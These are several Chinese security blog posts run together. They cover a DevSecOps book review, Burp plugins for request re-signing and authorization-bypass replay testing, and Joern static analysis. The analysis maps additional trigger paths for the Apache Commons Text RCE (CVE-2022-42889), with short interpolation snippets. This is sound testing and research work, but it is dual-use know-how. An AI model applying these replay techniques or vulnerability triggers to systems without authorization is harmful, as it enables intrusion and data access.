或研发团队一起对存在安全风险的设施进行改造与修复。另外安全团队也需要自己的仪表板来收集、展示相关的安全风险，让安全团队更好的评估或了解当前系统的安全水位。 Remediate Vulnerabilities Quickly With A Software Bill Of Materials (SBOM) 这部分内容个人认为其实和软件供应链的部分放到一起更为合适。简单来说，软件供应链检查部分，并不仅仅是简单的检查出哪些依赖是不安全的就结束了，软件供应链检查环节还应该完整的记录下每个发布版本的交付物、构建产物的依赖清单，即 SBOM。有了这个清单之后，当未来的某一天某个组件出现漏洞时，企业可以根据这份清单快速的筛选出受影响的代码列表，从而缩短修复周期。 其实除了供应链信息，还需要存储更多关于代码的信息，这部分内容可以以后有机会再展开讲讲。 Part IV: Secure Enterprise DevOps In Practice 这里讲了一些保护 DevOps 的最佳实践，主要由以下三个部分组成： Teach DevSecOps Best Practices With InnerSource And Security Champions Find Ways To Leverage Self-Service Support Switch To Product-Centric DevOps Teams 说白了，再提出上面那三部分中的许多观点之后，都只是纸上谈兵，至少要落地到企业中才算开始。然而每个企业或者团队，本身就有不同的合作模式与工作模式，所以安全人员需要选取合适的模式插入 DevSecOps，并非一成不变。 这里的每一小节就不展开讲了，内容也比较简单，可以翻阅原文查看。 Closing Thoughts 很明显，对于一家企业的安全人员来说，仅仅关注于构建安全的应用程序时完全不够的，虽然这是一项重要的任务。但是要知道，对于攻击者来说，特别是 Shift-Left Hacker 来说，应用程序并不是攻击者唯一关注的东西。越来越多的 Real World 案例在表明，攻击者开始把目标转向了开发人员及其开发环境。 虽然刚刚书中提到的这些观点，也并不是通用的银弹，但是其中的某些部分还是有些启发的。对于应用安全架构设计来说，在设计时也不能忽视 DevOps 自身环境的安全风险。
开源地址：https://github.com/lightless233/sign-me-2 0x00 上一篇文章主要分享了越权测试插件的思路，经过一段时间的使用，确实节省了不少时间，也遇到了新的问题。 很多网站现在发起请求时，会附加一个 sign 签名值，以保证参数值在传输的过程中不被篡改。这同样也给我们修改参数进行测试带来了一些麻烦。所以如果能在 burp 中修改完数据包后自动对参数进行签名，可以节省不少算签的时间（当然如果连签名算法都不知道，也没办法手动算签）。 0x01 基于以上的情况，简单糊了一个新的 burp 插件 SignMe，专门用于计算各类签名，并将计算好的签名替换回原始数据包。总体来说这个插件并没有什么特别的东西，毕竟只是一个简单的参数替换。 不过在这里动了一点小心思，并没有把某个特定的签名算法写死到插件里，二是额外塞了一个 JS 引擎进去，可以让用户通过编写 JS 代码自行实现签名算法。 由于 JS 中还需要和 Java 互相操作，最终选用了 graalvm 的方案。之所以使用了 JS 代码来编写签名算法，是因为在日常的测试过程中，大部分网站的签名算法都是由 JS 实现的，很多情况下我们甚至可以直接将网站的 JS 复制过来，稍微改一改就能复用了。如果选择其他语言，还需要经历一个翻译算法的过程，如果做过类似的工作就会发现翻译语言这个过程中会遇到很多的坑：比如不同语言加密库的实现不同、字符编码问题等等。所以干脆直接选择 JS 来作为签名算法的计算语言，既省时又省力。 在 sign-me 中，已经提前封装好了大量常用的方法，包括：打印日志、参数排序、计算常见哈希、获取时间戳等等，希望用户只是像拼积木一样就可以拼出一个签名算法，将更多的时间放到对目标的测试过程上，而不是将精力浪费在计算签名这种事情上。 当计算完成后，通过返回一个指定的数组，表示需要修改哪些参数，如下图所示： 在 burp 中，可以通过修改 sign-me 和 auth-test 的插件顺序，就可以实现自动对重放包进行签名的功能，从而进行半自动的越权测试了。 sign-me 的代码暂时也没有开源的计划，主要是因为写的太烂了（这是我写的第一个burp插件，所以写的很烂），计划在近期对代码进行一次重构，之后会放出来供大家一起使用。
0x00 最近一段时间，做了一些自动化/半自动化的测试小工具，主要还是想从重复的工作中解放出来，把时间投入到更有意义的事情中。 开发语言也从之前的 Python 逐步切换到了 Rust，虽然 Python 是一门很棒的语言，可以让我快速的实现各种想法的原型，但是 Python 在工程化的时候，总会出现一些不尽人意的地方。恰巧之前也学过一些 Rust，便逐步将主力开发语言切换到了 Rust。关于这部分的内容，后续可以再单独讲讲。 在最近的一些测试工作中，很大一部分目标都是各类 CMS、WMS 系统，经过前期的一些人工测试，发现这类业务逻辑相对简单且以 CURD 为主的系统，很难出现一些高危的 Web 漏洞（特指常见高危Web漏洞，例如：命令执行、SSRF、SQL注入等）。主要的风险还是以水平越权和垂直越权为主。 很多人可能根据经验会有疑问，为什么很少甚至不会出现 SQL注入漏洞？ 在大型甲方企业的开发流程中，开发这类系统时，一般都不是从零开始写第一行代码的，而是使用该团队积累下来的各种二方包。对于常见的业务操作，例如 CURD、OSS上传等等，都有较为成熟的框架和解决方案。一旦出现过一次漏洞，通过对二方包的修复，很容易就实现了对所有其他系统的修复，以及在新系统中的预防。 顺便一提，对于其他类型的漏洞，例如 SSRF 和 命令注入等，在常规的 CURD 类的 CMS、WMS 系统中，根本不会出现相关的业务场景，所以更不会出现相关的漏洞了。 越权检测一直是扫描器领域长盛不衰的话题，目前在越权检测这个方向下面，还没有看到非常成熟的方案，也没有通用的银弹。 虽然没有银弹，但是一定有人已经造过轮子了，先去搜索了一些 Burp 上比较知名的越权测试插件，使用了一圈下来感觉都很不爽。有些界面丑陋且已经年久失修无法使用，有些逻辑复杂操作反人类，终于还是决定写一个自己用起来顺手的小插件。 0x01 在正式开始造轮子之前，我们先回顾一下手动测试越权的流程。 假设我们使用两个相同权限的账号 A 和 B，分别使用不同的浏览器登录。Chrome 登录账号 A，Edge 登录账号 B，给 Chrome 浏览器添加代理，把流量转发到 Burp。 在 Burp 中发现一个接口：http://api.example.com/user/get?id=10001 ，分析后发现是查看当前用户信息的接口。此时如果想测试越权，我们需要找到账号 B 中，此接口对应的参数，并将其复制过来到 Burp 中。假设 B 账号得到的参数为 id=51234 ，在 Burp 中修改参数后发送，并人工检查 Response 中是否含有 B 账号的数据。 在这个过程中需要来回切换多个窗口，复制粘贴不同账号的数据，最后还需要人工对比 Response 数据的内容，需要操作很多个步骤，并且非常的麻烦。另外这只是进行了两个同权账号的测试，如果系统的角色非常复杂，有管理员、普通会员、子账号的情况下，需要手工处理的工作就更多了。 测着测着，很自然的就出现了第二个想法：如果不替换参数，直接替换身份凭证是否可行？ 答案自然是可行的，我们不用再去复制 B 账号每个接口的参数，只需要登录一次 B 账号并获取到 B 账号的身份凭证信息（Cookie、X-ACCESS-TOKEN等），在每次测试 A 账号的时候，顺手把 A 账号的身份凭证修改为 B 账号，就相当于以 B 账号的身份使用 A 账号的参数发起请求，直接查看返回是否一致就可以了。我们不需要来回的切换窗口，完全在 Burp 一个窗口中操作就可以了，当 Response 过大不方便肉眼看的时候，甚至可以使用的 Burp 的 diff 功能检查两个包是否有相同数据。 当然这个方案也有弊端： 如果参数中、头中含有 CSRF Token 或类似的标记，此方法无法通过服务端的相关校验； 依然无法避免角色过多带来的重复操作问题，同一个接口，每一个角色都要替换数据发一次包； 在少部分业务场景下，如果参数本身是无规则字符串，例如 UUID、MD5 等情况且根本没有接口可以获取到其他账号的资源 ID，按照业务设计规则，可能不涉及越权问题； 这一点实际上是有分歧的，理论上来说，我使用其他账号的资源 ID 获取到了资源内容，本身就属于越权，只能最终与业务沟通并根据实际情况再做是否修复的决定。 到目前为止，我们有了一些进展，简化了替换参数的工作量。但是我仍然希望将这个过程自动化，在我每次测试其他漏洞的时候，Burp 自动化帮我替换身份凭证，并比对返回值是否相似。 0x02 我们首先要解决的问题，就是账号的替换的问题，对同一个接口的请求，要以何种策略进行重放，是这个插件的核心逻辑。 回顾一下正常的测试流程，为了测试水平越权和垂直越权，我们至少需要准备3个账号，如果我们只想测试水平越权，或只想测试垂直越权，那么准备两个账号就可以了： A 类账号：基准账号； B 类账号：同权账号，与 A 类账号同权限，用于测试水平越权； C 类账号：低权、无权账号，比 A 类账号权限低，用于测试垂直越权； 有了账号，下一步需要确认的就是重放顺序。对于查询数据的请求而言，重放顺序并不那么重要，无论哪个账号先执行请求，都不会影响返回结果。而对于创建资源、修改资源、删除资源之类的请求，顺序就非常敏感了。比如针对一个删除操作的越权测试，如果我们先使用 A 类基准账号测试，那么无论是否有漏洞，C 类账号的操作一定是失败的，因为资源已经被删除了，也就没办法使用这个资源 ID 进行越权测试了。如果使用 B 类同权账号进行测试，假设存在水平越权漏洞，那么资源已经被 B 类账号删除，C 类账号操作也会失败，也无法判断是否存在垂直越权了。 根据以上推论，我们可以规定出请求重放的顺序：C 类账号 > B 类账号 > A 类账号，在每次请求完成后，把响应结果记录下来，当所有的重放完成后，对响应内容进行相似度判断以检查是否存在越权漏洞。 现在看起来似乎没有什么问题了，但是我们还忽略了前面提到的一点，如果业务系统有更多的角色或者业务身份呢？比如超级管理员，小管理员，后台管理员，前台管理员，普通会员，游客等等。 首先我们先看看能否简化为ABC三类账号，比如有些系统虽然有很多角色，但是是通过为某个账号单独赋权得到的。举个例子，某个系统的账号必须归属于其中的一个角色，而每个角色类型可以单独设置权限点。虽然看起来这个系统非常复杂，有非常多的角色，但是实际上我们测试时，只需要一个开启所有权限点的角色，和一个没有任何权限点的角色。两个开启全部权限点的角色的账号分别作为 A 类账号和 B 类账号，没有权限点的角色可以作为 C 类账号，问题迎刃而解。 但是实际测试中发现，并不是所有的系统都可以这样处理，有些系统无论如何也无法简化为 ABC 三类账号，那又要怎么办？ 此时我们只需要对插件的账号系统做一些小小的修改即可，添加一个 D 类账号，代表自定义角色。那么问题又来了，D 类账号的重放顺序应该如何定义呢？很明显当你遇到这么复杂的情况时，事先并不能确定应当如何重放，也就无法在插件中写死重放顺序，添加一个优先级功能根据实际情况判断是最好的做法了。 那么现在的账号体系就变成了下表这样，优先级越高请求顺序越靠前： A类账号，优先级-1，基准账号，所有其他账号的 Response 均和这个做对比，优先级最低，一定最后一个重放请求； B类账号，优先级50，同权账号，用于测试水平越权，优先级默认为 50，夹在低权和基准之间； C类账号，优先级101，低权账号，用于测试垂直越权，一定第一个重放请求； D类账号，优先级1~100，自定义角色，请求优先级可以根据实际情况自定义； 最后，再添加一个配置管理系统，给不同的站配置不同的账号，再加一点点界面，基本上就完成了。 0x03 每一个配置相当于一次测试项目，在同一时间，只能开启一个配置。 在每一份配置中，可以单独配置目标 scope、黑名单、重放设置等，防止触发重放各种不必要的请求； 同时账号也是在每一份配置中设置的，在这里填入需要替换的身份凭证信息，可以是 HTTP Header，也可以是某个参数。 当正确配置完成账号信息后，此时在浏览器中访问目标网站，AuthTest 将会使用配置好的账号自动重放这些请求。所有的请求都会在数据中心中展示。 在这里，可以对某些请求标记为漏洞，也可以将某些请求加入黑名单（比如图中出现的baidu统计请求），加入黑名单后，后续遇到该 URL 时将不再重放。 点击某一行即可看到详细的请求信息，相似度为每一个包与基准账号的 Response 做对比，使用了编辑距离算法。 经过一些实际测试，确实解放了工作中很大一部分的劳动力，减少了很多的重复性工作，漏洞挖掘效率也得到了显著提升。 不过由于该工具还在完善阶段，并且很多功能是针对个人使用习惯高度定制化的，暂时没有开源的打算，后续也会继续分享一些最近一段时间开发的其他小工具，以及一些安全建设理念。等到小工具打磨成熟了，会适时的放出来与大家一起使用。
近期 ApacheCommonsText 出现了 RCE 漏洞，CVE-2022-42889。刚好最近在用 Joern，想尝试下能否利用 Joern 发现这个 CVE，分析过程中遇到了不少的问题，记录一下。 1. 漏洞原理 关于原理这块，网上已经有很多的分析文章了，原理也比较简单，这里也不再赘述了。 简单来说，这个漏洞很像 log4j，也是替换字符串的功能出现了问题，在替换字符串的过程中调用了 org.apache.commons.text.lookup.StringLookup.lookup:java.lang.String(java.lang.String) 方法，根据实际内容调用了不同的 Lookup ，进而利用 ScriptStringLookup 导致了 RCE 漏洞。 2. 初次尝试 因为我们已经知道了漏洞触发点是 StringLookup.lookup 方法，现在我们想知道另外一个问题，除了网络上流传的 POC 中的 replace 方法外，是否还有其他的方法可以触发该漏洞？如果能发现其他的入口，不管是对编写白盒检查规则、渗透测试都有帮助。 sink比较好说，我们直接定义： def sink = cpg.method.fullName(".+\\.StringLookup.lookup.*") 对于 source 来说，由于本次分析目标是一个单独的库，我们姑且认为所有在 非 abstract、interface 内的 public 方法均可以被访问到，可以作为入口被其他的应用调用。 def source = cpg.method.where(_.isPublic).whereNot(_.isConstructor).whereNot(_.typeDecl.isAbstract).filter(_.parameter.size != 0) 接下来把他们串到一起，我们暂时先不使用 joern 自身的数据流分析功能，我们先从调用链上看看是否有更多的发现： joern> importCode("commons-text-1.9.jar", "commons-text") joern> sink.repeat(_.caller)(_.until(_.where(_.isPublic).whereNot(_.isConstructor).whereNot(_.typeDecl.isAbstract).filter(_.parameter.size != 0))).l 很不幸，这条查询并没有给出想要的结果，反而会持续卡死无响应。 3. 问题分析 起初，我以为是迭代查询次数太多，导致路径爆炸，进而导致 joern 迟迟无法结束查询。于是我尝试对 source 进行优化，发现无论怎么优化，最终符合条件的 source 数量都不少于 700 个。而且我无法干涉 joern 内置的 repeat 行为，想对其在迭代过程中进行剪枝也不太可能。 既然这条查询会卡死，那么我们一步一步来，看看每次迭代的结果，修改一下刚刚的查询语句，把路径打印出来： joern> def findStep(idx: Int) : Traversal[Vector[Long]] = { return cpg.method.fullName(".+\\.StringLookup.lookup.*").enablePathTracking.repeat(_.caller.dedup)(_.times(idx)).path.map( path => path.filter(n => n.isInstanceOf[Method]).map( n => { val nn = n.asInstanceOf[Method]; nn.id } ) ) } 直接定义一个函数，参数表示迭代多少次，并把路径上所有节点ID返回，我们开始查询吧： joern> findStep(1).l res483: List[Vector[Long]] = List( Vector(47685L, 24708L), Vector(47685L, 45583L) ) joern> findStep(2).l res484: List[Vector[Long]] = List( Vector(47685L, 24708L, 23750L) ) joern> findStep(3).l res485: List[Vector[Long]] = List( Vector(47685L, 24708L, 23750L, 23725L), Vector(47685L, 24708L, 23750L, 23750L) ) 当迭代到第三次的时候，出问题了，可以很明显的看到第二条链路上出现了递归，而 joern 内置的 repeat 并没有处理这种情况，只会傻乎乎的不停的调用 caller，导致这条链路永远也无法结束。我们继续迭代： joern> findStep(4).l res486: List[Vector[Long]] = List( Vector(47685L, 24708L, 23750L, 23725L, 23750L), Vector(47685L, 24708L, 23750L, 23725L, 24790L), Vector(47685L, 24708L, 23750L, 23725L, 24871L), Vector(47685L, 24708L, 23750L, 23725L, 24927L), Vector(47685L, 24708L, 23750L, 23725L, 24952L), Vector(47685L, 24708L, 23750L, 23725L, 25086L), Vector(47685L, 24708L, 23750L, 23725L, 25131L), Vector(47685L, 24708L, 23750L, 23725L, 25195L), Vector(47685L, 24708L, 23750L, 23725L, 25239L), Vector(47685L, 24708L, 23750L, 23725L, 25278L), Vector(47685L, 24708L, 23750L, 23725L, 25322L), Vector(47685L, 24708L, 23750L, 23725L, 25380L), Vector(47685L, 24708L, 23750L, 23725L, 25425L), Vector(47685L, 24708L, 23750L, 23725L, 25464L), Vector(47685L, 24708L, 23750L, 23725L, 25509L), Vector(47685L, 24708L, 23750L, 23750L, 23725L), Vector(47685L, 24708L, 23750L, 23750L, 23750L) ) 不出所料，递归的函数还在递归，除此之外，还出现了环的情况，比如第一条链路，出现了23750 -> 23725 -> 23750，这导致这条链路也无法结束，继续迭代就出现了路径爆炸问题。 简单看了一下，基本上都是 replace 函数的不同重载版本在互相调用，而在 Java 代码中，这种情况还是比较常见的，所以这问题还是需要解决的。 4. 写个脚本 简单的查询肯定搞不定了，我们写个小脚本吧： //repeat..times(x) def findTimes(initStep: Traversal[Method], maxIdx: Int) : List[Vector[Method]] = { var nextBuffer: List[Vector[Method]] = List() var finalResult: List[Vector[Method]] = List() for (idx <- 1 to maxIdx) { // 第一次查找，使用初始条件作为起始 if (idx == 1) { for (it <- initStep) { finalResult = finalResult :+ Vector(it) } } // 处理 finalResult 中的每一条路径，取每条 path 的最后一项调用 caller for (eachPath <- finalResult) { var eachPathIdList = eachPath.filter(n => n.isInstanceOf[Method]).map(n => { n.asInstanceOf[Method].id }).l var newNodes = eachPath.last.asInstanceOf[Method].caller.dedup for (newNode <- newNodes) { // 检查 newPath 是否存在环，如果存在，则跳过，如果不存在，加到结果列表中 if (!eachPathIdList.contains(newNode.id)) { val newPath = eachPath :+ newNode nextBuffer = nextBuffer :+ newPath } } } // 所有的路径都处理完了，结果放在 nextBuffer 中 finalResult = nextBuffer nextBuffer = List() } return finalResult } findTimes 模拟了原始的 repeat(_.caller.dedup)(_.times(x))，给定初始节点和重复次数就可以了。但是还不够完美，我们再稍微修改一下，模拟出 repeat(_.caller.dedup)(_.until(x))： def findUntil(initStep: Traversal[Method], stopStep: Traversal[Method], maxIdx: Int) : List[Vector[Method]] = { var nextBuffer: List[Vector[Method]] = List() var finalResult: List[Vector[Method]] = List() var results: List[Vector[Method]] = List() val stopList = stopStep.l val stopIdList = stopList.map(n => n.id).l println("stopList.size:" + stopList.size) println("stopIdList: " + stopIdList) for (idx <- 1 to maxIdx) { // 第一次查找，使用初始条件作为起始 if (idx == 1) { for (it <- initStep) { finalResult = finalResult :+ Vector(it) } } // 处理 finalResult 中的每一条路径，取每条 path 的最后一项调用 caller for (eachPath <- finalResult) { var eachPathIdList = eachPath.filter(n => n.isInstanceOf[Method]).map(n => { n.asInstanceOf[Method].id }).l var newNodes = eachPath.last.asInstanceOf[Method].caller.dedup for (newNode <- newNodes) { // 检查 newPath 是否存在环，如果存在，则跳过，如果不存在，加到结果列表中 if (!eachPathIdList.contains(newNode.id)) { val newPath = eachPath :+ newNode nextBuffer = nextBuffer :+ newPath // 检查是否满足终结条件，如果满足，就加到resutls里 if (stopIdList.contains(newNode.id)) { results = results :+ newPath } } } } // 所有的路径都处理完了，结果放在 nextBuffer 中 finalResult = nextBuffer nextBuffer = List() } return results } 这次只要给定初始条件、终结条件、最大迭代次数就可以了。测试一下： joern> def initStep = cpg.method.fullName("org.apache.commons.text.lookup.StringLookup.lookup.*") joern> def stopStep = cpg.method.where(_.isPublic).whereNot(_.isConstructor).whereNot(_.typeDecl.isAbstract).filter(_.parameter.size != 0) joern> findUntil(initStep, stopStep, 10).map(path => path.map(node => (node.id, node.name, node.fullName))).l 一共打印出了 26 条路径。 5. 分析结果 经过简单的分析，26 条路径中，主要分为三类： org.apache.commons.text.StringSubstitutor.replace org.apache.commons.text.StringSubstitutor.replaceIn org.apache.commons.text.io.StringSubstitutorReader.read 第一类 replace 就是网络上流传的 POC 中提及的： String x = StringSubstitutor.createInterpolator().replace("${java:version}"); System.out.println(x); 第二类 replaceIn 和 replace 用法略有不同，但也能触发： StringBuilder sb = new StringBuilder(); sb.append("${java:version}"); StringSubstitutor.createInterpolator().replaceIn(sb); System.out.println(sb.toString()); 第三类 Reader 的比较复杂，也能触发： StringSubstitutor ss = StringSubstitutor.createInterpolator(); String template = "${java:version}${a}"; StringReader sr = new StringReader(template); StringSubstitutorReader ssr = new StringSubstitutorReader(sr, ss); while (true) { int x = ssr.read(); if (x == -1) { break; } else { System.out.print((char)x); } }
0. 介绍 最近工作上做了一些渗透测试项目，在测试过程中发现有些系统使用了开源软件，通过对开源软件的代码审计，发现了该开源软件的漏洞，并利用该软件的漏洞拿下了目标。在整理完报告后，就一直在思考是否有一款工具，可以准确的告诉我： 代码中有哪些 Web 接口； 某个 Web 接口下面是否调用了某个函数； 某个具体的函数能从哪些 Web 接口访问到； 如果能做到这些，把代码的信息提取出来，可以让我像查询 DB 一样对代码进行查询，会极大的提高我在审计这方面的效率。除此之外，支持的语言越多越好，谁也不知道下一个目标是什么语言开发的。:) 而目前市面上大部分工具，都是针对发现漏洞制作的，无一例外都使用了污点传播的方法。这就导致了一个问题，如果我单纯的想获知代码中的一些信息而不是扫描漏洞，这些工具是无法使用的，因为这些工具的目的是发现漏洞，而不是汇总代码中的信息。虽然这些工具在扫描过程中也会整理这些信息（例如CFG等），但是也不会保存起来，即便保存了，也无法方便的查询。 经过了一番调研，已经打算自己造轮子了，甚至思路都已经想的差不多了，突然想起来 ShiftLeft 提出的 CPG 以及对应的开源项目 Joern，试用了两天，感觉基本满足了需求，于是就有了这篇文章记录一下使用过程。 Joern 是一款基于 CPG 的静态分析工具，可以使用基于 OverflowDb 构建的查询语言，在 CPG 上进行搜索、查询、执行数据流分析，进而帮助安全人员分析代码，发现代码中的缺陷。 关于 Joern 的一些介绍，可以参考官方仓库：https://github.com/joernio/joern CPG 全称 Code Property Graph，是由 AST + CFG + PDG 叠加构建而来（其实还包含 CG 等）的一张图，可以直观的表示程序的结构。 关于 CPG 的内容不再赘述了，有兴趣可以参考： Why Your Code Is A Graph <- 简单易懂，推荐阅读 Code Property Graph Specification 1.1 <- CPG 规范，可以当作字典使用 Finding Stranger Things in Code - STATIC ANALYSIS USING JOERN <- ShiftLeft Inc 的演讲 PPT，推荐阅读 1. Joern VS CodeQL 前面说到了一个想法：“像查询 DB 一样对代码进行查询”，那么最容易直接想到的就是 CodeQL，为啥我没有直接使用 CodeQL 呢，有以下几个原因。 一方面，我个人认为 CodeQL 的语法不太友好，写起来很不顺手，而 Joern 的查询语言就很直接，可能与它是基于 Scala 开发的有关，写起来比较顺滑，不过这一点其实就有点因人而异了，没那么客观。 另一方面，也是最主要的方面，CodeQL 在执行查询之前，需要对项目进行构建或编译，很多情况下，我们拿到的代码构建起来很难，甚至无法构建，这种情况下 CodeQL 就无能为力了。 因此决定试一试 Joern。 2. 基础用法 2.1 安装 Joern 的安装非常简单，前提是需要 Java 11 及以上版本。 按照仓库中的 Quick Installation 安装即可，这里我们就不再赘述了。 2.2 基础语法 我们使用开源项目 java-sec-code 作为测试样例。 启动 joern 并导入待分析的项目： ./joern joern> importCode("../java-sec-code/") Using generator for language: JAVASRC: JavaSrcCpgGenerator Creating project `java-sec-code` for code at `../java-sec-code/` moving cpg.bin.zip to cpg.bin because it is already a database file Creating working copy of CPG to be safe Loading base CPG from: /Users/lightless/program/joern-cli/workspace/java-sec-code/cpg.bin.tmp Code successfully imported. You can now query it using `cpg`. For an overview of all imported code, type `workspace`. Adding default overlays to base CPG The graph has been modified. You may want to use the `save` command to persist changes to disk. All changes will also be saved collectively on exit res0: Cpg = Cpg (Graph [17522 nodes]) joern> cpg.metaData.l res2: List[MetaData] = List( MetaData( id -> 1L, hash -> None, language -> "JAVASRC", overlays -> ArraySeq("base", "controlflow", "typerel", "callgraph", "dataflowOss"), root -> "/Users/lightless/program/java-sec-code", version -> "0.1" ) ) 使用 importCode 导入待分析的项目。导入后，可以使用 cpg.metaData.l 查询 cpg 的基础元数据。 Joern-Cli 有一个小技巧，可以使用 Tab 键补全查询命令，例如 cpg.<TAB> 就可以列出所有可用的查询，在任何时候都可以使用 Tab 进行补全。由于 Joern 的文档还不太完善，使用 Tab 补全可以获取更多的信息。 l 是 toList 的简写，将查询结果转换为 List 并打印出来，这个命令会经常用到，类似的还有 toJson 等。 查询代码中所有的 method 列表： joern> cpg.method.l res5: List[Method] = List( Method( id -> 7L, astParentFullName -> "<empty>", astParentType -> "<empty>", code -> "protected SpringApplicationBuilder configure(SpringApplicationBuilder application)", columnNumber -> Some(value = 5), columnNumberEnd -> Some(value = 5), filename -> "/Users/lightless/program/java-sec-code/src/main/java/org/joychou/Application.java", fullName -> "org.joychou.Application.configure:<unresolvedSignature>(1)", hash -> None, isExternal -> false, lineNumber -> Some(value = 16), lineNumberEnd -> Some(value = 19), name -> "configure", order -> 1, signature -> "<unresolvedSignature>(1)" ), ...... // 省略 Method( id -> 20L, astParentFullName -> "<empty>", astParentType -> "<empty>", code -> "public static void main(String[] args) throws Exception", columnNumber -> Some(value = 5), columnNumberEnd -> Some(value = 5), filename -> "/Users/lightless/program/java-sec-code/src/main/java/org/joychou/Application.java", fullName -> "org.joychou.Application.main:void(java.lang.String[])", hash -> None, isExternal -> false, lineNumber -> Some(value = 21), lineNumberEnd -> Some(value = 23), name -> "main", order -> 2, signature -> "void(java.lang.String[])" ) ) 这个查询会列出所有 Method 节点的具体信息，如果只想展示具体的属性，可以使用 cpg.method.name.l，这个会列出所有的方法名称，并不会展示更具体的信息。如果像获取多个信息，比如方法名，行号，代码段，可以使用如下查询： joern> cpg.method.map(n=>List(n.lineNumber, n.name, n.code)).take(3).l res7: List[List[Object with Serializable]] = List( List( Some(value = 16), "configure", "protected SpringApplicationBuilder configure(SpringApplicationBuilder application)" ), List(Some(value = 21), "main", "public static void main(String[] args) throws Exception"), List(None, "<init>", "<empty>") ) 通过使用 map 函数，可以只展示选定的属性。 接下来看一个更加复杂的例子，比如我们要查询 getRequestBody 这个方法，都被哪些方法调用了，应该如何查询，最直接的想法是先找到对应的 Method，然后使用 caller 获取所有的调用者： joern> cpg.method.name("getRequestBody").caller.l res12: List[Method] = List( Method( id -> 6548L, astParentFullName -> "<empty>", astParentType -> "<empty>", code -> "public String parseXml(HttpServletRequest request) throws Exception", columnNumber -> Some(value = 5), columnNumberEnd -> Some(value = 5), filename -> "/Users/lightless/program/java-sec-code/src/main/java/org/joychou/controller/XStreamRce.java", fullName -> "org.joychou.controller.XStreamRce.parseXml:<unresolvedSignature>(1)", hash -> None, isExternal -> false, lineNumber -> Some(value = 23), lineNumberEnd -> Some(value = 29), name -> "parseXml", order -> 1, signature -> "<unresolvedSignature>(1)" ),..... // 省略其他内容 ) 通过查询结果可以看到，其中一处在 parseXml 里调用了，但是具体是怎么调用的，在哪一行调用的，并没有给出明确的结果，所以我们稍微修改一下查询语句： joern> cpg.call.name("getRequestBody").l.map(n=>(n.method.name, n.code, n.location.filename, n.location.lineNumber)).l res11: List[(String, String, String, Option[Integer])] = List( ( "parseXml", "getRequestBody(request)", "/Users/lightless/program/java-sec-code/src/main/java/org/joychou/controller/XStreamRce.java", Some(value = 25) ),... ) 这样就可以清晰看到在 XStreamRce.java 文件的第 25 行，在 parseXml 函数中，调用了 getRequestBody(request) 方法。 刚刚我们查找了某个函数在哪里被调用了，虽然只有一层，我们现在来查找一下，getRequestBody 方法中，是否调用了 convertStreamToString 方法。 joern> cpg.method.name("getRequestBody").callee.name("convert.*").l res78: List[Method] = List( Method( id -> 12780L, astParentFullName -> "<empty>", astParentType -> "<empty>", code -> "public static String convertStreamToString(java.io.InputStream is)", columnNumber -> Some(value = 5), columnNumberEnd -> Some(value = 5), filename -> "/Users/lightless/program/java-sec-code/src/main/java/org/joychou/util/WebUtils.java", fullName -> "org.joychou.util.WebUtils.convertStreamToString:java.lang.String(java.io.InputStream)", hash -> None, isExternal -> false, lineNumber -> Some(value = 22), lineNumberEnd -> Some(value = 25), name -> "convertStreamToString", order -> 2, signature -> "java.lang.String(java.io.InputStream)" ) ) 截止到目前为止，我们已经尝试了 joern 的常用用法，但是很不幸，现实世界远没有这么简单，我们目前只能查询单个函数内的调用，甚至无法跨多层函数。现在我们尝试一个更复杂的例子，我们看看 getRequestBody 这个方法，有哪些 Web 接口调用到了。 首先我们先尝试找出所有的 Web 接口，由于这是个 SpringBoot 项目，大部分 Web 接口都有 @RequestMapping 之类的注解，我们查询一下： joern> cpg.method.where(_.annotation.name(".*Mapping")).map(n=>(n.name, n.annotation.code.l)).l res112: List[(String, List[String])] = List( ("crlf", List("@RequestMapping(\"/safecode\")", "@ResponseBody")), ("index", List("@GetMapping(\"/\")")), ("post", List("@PostMapping(\"/post\")", "@ResponseBody")), ("codeInject", List("@GetMapping(\"/codeinject\")")), ("codeInjectHost", List("@GetMapping(\"/codeinject/host\")")), ("codeInjectSec", List("@GetMapping(\"/codeinject/sec\")")), ("vuln01", List("@GetMapping(value = \"/vuln01\")")), .... // 省略 ) 接下来就要查询哪些接口，会调用到 getRequestBody 方法了，这里有两种思路，第一种就是从给定的方法 getRequestBody开始反向查找所有的调用方，看看调用方是否具有相关的注解。另外一种方法就是从所有带有相关注解的方法，正向向下展开查找。 第二种的方法的搜索成本会非常高，推荐使用第一种方法。我们只需要将前面的搜索语句，简单的修改一下即可： // 方法1：反向查找所有的caller，直到有相关的注解为止 joern> cpg.method.name("getRequestBody").repeat(_.caller)(_.until(_.annotation.name(".*Mapping"))).size res116: Int = 19 // 方法2：正向查找，非常费时，搜索成本极高 joern> cpg.method.where(_.annotation.name(".*Mapping")).repeat(_.callee)(_.until(_.name("getRequestBody"))).size res119: Int = 19 可以看到，两种方法都查到了19个接口。这里我们使用了 repeat..until.. 语法进行重复操作，类似的有以下几种： repeat..times..：重复指定次数。 例如：x.repeat(_.caller)(_.times(5)) 重复调用五次 caller 查询。 repeat..until..：重复操作直到满足 until 中指定的条件。 例如：x.repeat(_.caller)(_.until(_.name("foo")))，重复调用 caller 查询，直到找到一个方法名为 foo 的方法，找不到就返回空。 repeat..emit..times..：同 repeat..times..，emit 的作用是将搜索过的节点加入结果集，无论是否到达指定的 times 次数，可以简单理解为or关系。如果 emit 没有指定参数，则将所有搜索过的节点加入结果集，如果指定了参数，只将符合条件的节点加入结果集中。 例如：x.repeat(_.caller)(_.emit(_.isMethod).times(5))，这个查询会将查询5次 caller 的结果加入结果集，同时将搜索路径上所有满足 isMethod （即所有Method节点）的节点也加入结果集中。 repeat..emit..until..：同 repeat..until..，其中 emit 的作用同上，不再赘述。 例如：x.repeat(_.caller)(_.emit.until(_.name("foo")))，该查询会重复调用 caller 查询，直到找到方法名为 foo 的方法，同时会记录所有的搜索过的节点。可以简单的理解为将符合emit条件的节点或符合until条件的节点都加入结果集，但循环的终结依然是until指定的条件。 到现在为止，我们已经可以跨函数分析了，但是如果仔细看这些结果，会发现只打印出了 Web 入口，没有打印调用链路，我们并不知道代码是如何从 Web 入口运行到 getRequestBody 方法的。我们对查询语句简单的修改一下： joern> cpg.method.name("getRequestBody").enablePathTracking.repeat(_.caller)(_.until(_.annotation.name(".*Mapping"))).path.l 或 joern> cpg.method.where(_.annotation.name(".*Mapping")).enablePathTracking.repeat(_.callee)(_.until(_.name("getRequestBody"))).path.l (不推荐) 现在返回的List中，每一项都是 Vectory，每一个 Vectory 都是代表一条路径，唯一美中不足的是，其中的 Call 和 Method 有些重复，不太直观，目前也还没找到解决方案。 